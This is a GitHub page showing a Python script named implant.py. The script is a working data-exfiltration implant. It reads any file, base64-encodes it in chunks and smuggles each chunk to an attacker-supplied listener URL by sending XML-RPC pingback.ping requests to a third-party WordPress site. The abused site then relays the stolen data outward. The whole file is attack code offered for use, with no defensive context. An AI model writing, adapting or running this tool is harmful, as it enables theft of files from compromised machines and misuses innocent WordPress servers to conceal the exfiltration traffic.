-
Notifications
You must be signed in to change notification settings - Fork 7
/
implant.py
171 lines (123 loc) · 4.42 KB
/
implant.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
import argparse, base64, urllib.request
#
# Global Variables
#
args = None
BLOG_PAGE = "?p=1"
LISTENER_URL = ""
WORDPRESS_URL = ""
def encode_contents( contents ):
_base64 = None
if type( contents ) == str:
_base64 = base64.b64encode( contents.encode("utf-8") ).decode("utf-8")
if type( contents ) == bytes:
_base64 = base64.b64encode( contents ).decode("utf-8")
return _base64
def chunk( details, data ) -> list:
_base64 = ""
dataset = []
chunks = []
chunk_size = 4000 if not args.chunksize else args.chunksize
# Small file
if len( data ) < chunk_size:
_base64 = encode_contents( data )
details[ "data" ] = _base64
details[ "length" ] = len( _base64 )
return [ base64.b64encode( str( details ).encode("utf-8") ).decode("utf-8") ]
dataset = [ data[i:i + chunk_size] for i in range(0, len(data), chunk_size) ]
for datapoint in dataset:
encoded_data = encode_contents( datapoint ).replace( "/", "%99" ).replace( "+", "%2B" )
details[ "data" ] = encoded_data
details[ "length" ] = len( encoded_data )
chunks.append( base64.b64encode( str( details ).encode("utf-8") ).decode("utf-8") )
return chunks
def send( message ):
global BLOG_PAGE
global WORDPRESS_URL
xml = ""
request = None
if args.blog != None:
BLOG_PAGE = args.blog
try:
xml = generate_xml(
"pingback.ping", [
{ "type" : "string", "value" : LISTENER_URL + message },
{ "type" : "string", "value" : f"{ WORDPRESS_URL }/{ BLOG_PAGE }"}
]
)
except Exception as e:
print( e )
return False
if xml == "": return False
# Send
try:
request = urllib.request.Request(WORDPRESS_URL + "xmlrpc.php", data=xml.encode('utf-8'), headers={'Content-Type': 'application/xml'})
except Exception as e:
if "https" in WORDPRESS_URL:
# SSL likely not supported.
WORDPRESS_URL = WORDPRESS_URL.replace( "https", "http" )
return send( message )
# URL likely wrong.
return False
# Error in request.
with urllib.request.urlopen(request) as response:
if response.getcode() != 200 and response.getcode() != "200":
return False
return True
def generate_xml( methodName, params=[] ) -> str:
parameters = ""
for parameter in params:
p_type = parameter[ "type" ]
p_value = parameter[ "value" ]
_param = f"""
<param>
<value>
<{ p_type }>{ p_value }</{ p_type }>
</value>
</param>
"""
parameters += _param
body = f"""
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>{ methodName }</methodName>
<params>
{ parameters }
</params>
</methodCall>
"""
return body
def read( file_path ):
data = ""
with open( file_path, "rb" ) as file:
data = file.read()
return data
def main( filename ):
c = 0
success = True
details = {
"length" : None,
"filename" : filename.split("/")[ -1 ] if args.name == None else args.name
}
file_data = read( filename )
chunked_data = chunk( details, file_data )
if len( chunked_data ) == 1:
return 0 if send( chunked_data[ 0 ] ) else 1
for _chunk in chunked_data:
success = send( _chunk )
print( c, "/", len( chunked_data ), end="\r" ); c += 1
return 0 if success else 1
if __name__ == "__main__":
parser = argparse.ArgumentParser()
#TODO: Helper
parser.add_argument("-f", "--file", required=True)
parser.add_argument("-w", "--wordpress", required=True)
parser.add_argument("-l", "--listener", required=True)
parser.add_argument("-b", "--blog", required=False)
parser.add_argument("-n", "--name", required=False)
parser.add_argument("-c", "--chunksize", required=False, type=int)
args = parser.parse_args()
FILE = args.file
LISTENER_URL = args.listener
WORDPRESS_URL = args.wordpress
print( main( filename= FILE ))